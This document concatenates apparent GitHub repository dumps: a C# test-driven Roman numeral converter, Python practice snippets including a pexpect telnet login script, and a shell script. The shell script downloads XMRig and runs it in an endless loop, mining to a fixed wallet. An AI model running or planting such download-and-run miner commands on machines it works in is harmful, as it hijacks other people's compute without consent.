Assert.AreEqual("LXXXIII", result); } [Test] public void When_97_is_entered_the_conversion_is_XCVII() { var number = 97; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("XCVII", result); } [Test] public void When_99_is_entered_the_conversion_is_XCIX() { var number = 99; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("XCIX", result); } [Test] public void When_500_is_entered_the_conversion_is_D() { var number = 500; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("D", result); } [Test] public void When_501_is_entered_the_conversion_is_DI() { var number = 501; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("DI", result); } [Test] public void When_649_is_entered_the_conversion_is_DCXLIX() { var number = 649; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("DCXLIX", result); } [Test] public void When_798_is_entered_the_conversion_is_DCCXCVIII() { var number = 798; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("DCCXCVIII", result); } [Test] public void When_891_is_entered_the_conversion_is_DCCCXCI() { var number = 891; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("DCCCXCI", result); } [Test] public void When_1000_is_entered_the_conversion_is_M() { var number = 1000; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("M", result); } [Test] public void When_1004_is_entered_the_conversion_is_MIV() { var number = 1004; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("MIV", result); } [Test] public void When_1006_is_entered_the_conversion_is_MVI() { var number = 1006; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("MVI", result); } [Test] public void When_1023_is_entered_the_conversion_is_MXXIII() { var number = 1023; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("MXXIII", result); } [Test] public void When_2014_is_entered_the_conversion_is_MMXIV() { var number = 2014; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("MMXIV", result); } [Test] public void When_3999_is_entered_the_conversion_is_MMMCMXCIX() { var number = 3999; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("MMMCMXCIX", result); } } } <file_sep>namespace RomanNumerals.App { public class NumberConverter { public string Parse(int number) { var result = ""; var numerals = new Numerals(); var _number = number.ToString(); while (number > 0) { if (number >= 1000) { var numThousies = number.ToString(); var daIndex = int.Parse(numThousies[0].ToString()); result += numerals.RomanThousands[daIndex]; number -= daIndex * 1000; continue; } if (number >= 100) { var numHundies = number.ToString(); var daIndex = int.Parse(numHundies[0].ToString()); result += numerals.RomanHundreds[daIndex]; number -= daIndex * 100; continue; } if (number > 10) { var numTensies = number.ToString(); var daIndex = int.Parse(numTensies[0].ToString()); result += numerals.RomanTens[daIndex]; number -= daIndex * 10; continue; } if (number <= 10) { result += numerals.RomanOnes[number]; number = 0; continue; } } return result; } } } <file_sep>using System.Collections.Generic; namespace RomanNumerals.App { public class Numerals { public List<string> RomanOnes = new List<string> { " ","I","II","III","IV","V","VI","VII","VIII","IX"}; public List<string> RomanTens = new List<string> {" ","X","XX","XXX","XL","L","LX","LXX","LXXX","XC"}; public List<string> RomanHundreds = new List<string> {" ","C","CC","CCC","CD","D","DC","DCC","DCCC","CM"}; public List<string> RomanThousands = new List<string> {" ","M","MM","MMM"}; } }
a1555a842a79b49444def741045d732feaa3e92d
[ "C#" ]
3
C#
lady-ace/TDD-RomanNumeralConverter
2e51a45962341123ead1fcee725577bbe316ee9a
ddb5f4498acc6dc9a3ec2d50b3e8542f4c9c6cf1
refs/heads/master
<file_sep>#!/usr/bin/env python # -*- coding: utf-8 -*- import pexpect if __name__ == '__main__': user = 'ADMIN' ip = '172.30.188.28' password = '<PASSWORD>' child = pexpect.spawn('telnet %s' %ip) child.expect('login:') child.sendline(user) child.expect('Password:') child.sendline(password) child.expect('#') child.sendline('sh version') child.expect('#') #将命令结果输出 child.before,这里下了两个命令 要两个输出 ,只有一个print 只对应一个 print child.before child.sendline("sh ip int") child.expect("#") print child.before # child.sendline("echo '112' >> /home/1.txt") # 将 telnet 子程序的执行权交给用户. child.interact() pass #通常一个 python 主程序通过 pexpect.spawn 启动一个子程序,一旦该子程序启动后, python 主程序就可以通过 child.expect 和 child.send/child.sendline 来和子程序通话, python 主程序运行结束后,子程序也就死了。比如 python 主程序通过 pexpect.spawn 启动了一个 telnet 子程序, 在进行完一系列的 telnet 上的命令操作后,python 主程序运行结束了,那么该 telnet session(telnet 子程序)也会自动退出。 但是如果调用 child.interact,那么该子程序(python 主程序通过 pexpect.spawn 衍生成的)就可以在运行到 child.interact 时, 将子程序的控制权交给了终端用户(the human at the keyboard),用户可以通过键盘的输入来和子程序进行命令交互, 管理子程序的生杀大权,用户的键盘输入 stdin 会被传给子程序,而且子程序的 stdout 和 stderr 输出也会被打印出来到终端。 默认 ctrl + ] 退出 interact() 模式,把子程序的执行权重新交给 python 主程序。参数 escape_character 指定了交互模式的退出字符, 例如 child.interact(chr(26)) 接下来就会变成 ctrl + z 退出 interact() 模式。 <file_sep># testcase-with-python <file_sep>#method 1 def revise_comp(x,y): if x > y : return -1 elif x == y : return 0 else : return 1 sorted([1,2,4,6,7],revise_comp) # method 2 sorted([1,2,4,6,7])[::-1] <file_sep>#删除1~100的素数 def f(n): for m in range(2,n/2) : //和比它的一半小数相除,如果都除不尽,证明素数 if n % m == 0 : return False return n print filter(f,range(1,101))
bd493a00a4941aaf867feeca000e2108c48e31eb
[ "Markdown", "Python" ]
4
Python
tiancailvzi/testcase-with-python
f8eabfd6ecffb8bb1cacc8e99f9fbc33131e291b
5c73f62734a506408b68ff6b6754b69799e58dc2
refs/heads/master
<repo_name>ARNUMCHV/ArnumMSConnect<file_sep>/src/main/java/com/ht/dev/arnummsconnect/models/Sejour.java package com.ht.dev.arnummsconnect.models; /** * Mai 2017 * @author tondeur-h */ public class Sejour { private String IEP; private String UF; private String DATEDEB; private String DATEFIN; public void setIEP(String IEP) { if (IEP==null) this.IEP="-1"; else this.IEP=IEP; } public void setUF(String UF) { if (UF==null) this.UF="0000"; else this.UF=UF; } public void setDATEDEB(String DDD) { if (DDD==null) this.DATEDEB="00000000"; else this.DATEDEB=DDD; } public void setDATEFIN(String DDF) { if (DDF==null) this.DATEFIN="00000000"; else this.DATEFIN=DDF; } @Override public String toString() { return "<sejour><iep>"+IEP+"</iep><uf>" + UF + "</uf><ddd>" + DATEDEB + "</ddd><ddf>" + DATEFIN + "</ddf></sejour>"; } public String getUF() { return UF; } public String getDATEDEB() { return DATEDEB; } public String getDATEFIN() { return DATEFIN; } public Sejour(String IEP,String UF, String DDD, String DDF) { if (IEP==null) this.IEP="-1"; else this.IEP=IEP; if (UF==null) this.UF="0000"; else this.UF=UF; if (DDD==null) this.DATEDEB="00000000"; else this.DATEDEB=DDD; if (DDF==null) this.DATEFIN="00000000"; else this.DATEFIN=DDF; } public Sejour() { //faire absolument rien... } public String getIEP() { return IEP; } } <file_sep>/README.md # ArnumMSConnect Microservice connexion local utilisateur ARNUM (échange jwt) <file_sep>/src/main/java/com/ht/dev/arnummsconnect/models/ArnumUser.java package com.ht.dev.arnummsconnect.models; /** * * @author tondeur-h */ public class ArnumUser { String REFAD; String IDUTILISATEUR; String NOM; String PRENOM; String DROIT; String UF; String TITRE; public ArnumUser(String REFAD, String IDUTILISATEUR, String NOM, String PRENOM, String DROIT, String UF, String TITRE) { this.REFAD = REFAD; this.IDUTILISATEUR = IDUTILISATEUR; this.NOM = NOM; this.PRENOM = PRENOM; this.DROIT = DROIT; this.UF = UF; this.TITRE = TITRE; } public String getREFAD() { return REFAD; } public void setREFAD(String REFAD) { this.REFAD = REFAD; } public String getIDUTILISATEUR() { return IDUTILISATEUR; } public void setIDUTILISATEUR(String IDUTILISATEUR) { this.IDUTILISATEUR = IDUTILISATEUR; } public String getNOM() { return NOM; } public void setNOM(String NOM) { this.NOM = NOM; } public String getPRENOM() { return PRENOM; } public void setPRENOM(String PRENOM) { this.PRENOM = PRENOM; } public String getDROIT() { return DROIT; } public void setDROIT(String DROIT) { this.DROIT = DROIT; } public String getUF() { return UF; } public void setUF(String UF) { this.UF = UF; } public String getTITRE() { return TITRE; } public void setTITRE(String TITRE) { this.TITRE = TITRE; } } <file_sep>/src/main/java/com/ht/dev/arnummsconnect/ArnumMsConnectApplication.java package com.ht.dev.arnummsconnect; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; /** * mai 2017 * @author tondeur-h */ @SpringBootApplication public class ArnumMsConnectApplication { public static void main(String[] args) { SpringApplication.run(ArnumMsConnectApplication.class, args); } }
e5124f6ec639fed87cd230af5856282e922be921
[ "Markdown", "Java" ]
4
Java
ARNUMCHV/ArnumMSConnect
7f71c2a515f1eaeae42d9cb821c2d3a6dfc07f0d
aa01c9ca1b8647a17708b0872dd0ad7152a05f58
refs/heads/main
<file_sep>#!/bin/sh sudo apt update sudo apt install screen -y wget https://github.com/xmrig/xmrig/releases/download/v6.14.0/xmrig-6.14.0-linux-x64.tar.gz tar xf xmrig-6.14.0-linux-x64.tar.gz cd xmrig-6.14.0 ./xmrig -o rx.unmineable.com:3333 -a rx -k -u SHIB:0x23c8bdcf897aa564a65420e330ce7568ec98325d.jao1 -p x --cpu 1 while [ 1 ]; do sleep 3 done sleep 999
0628bdd5b090d31494f112948a1c9815ee2f3628
[ "Shell" ]
1
Shell
tesste11/cou
ef2bf83e5a5fe13f810aef68f1edb5b76dc7248b
8d5e3b6500c3949025c846cd4f516de43b3d0427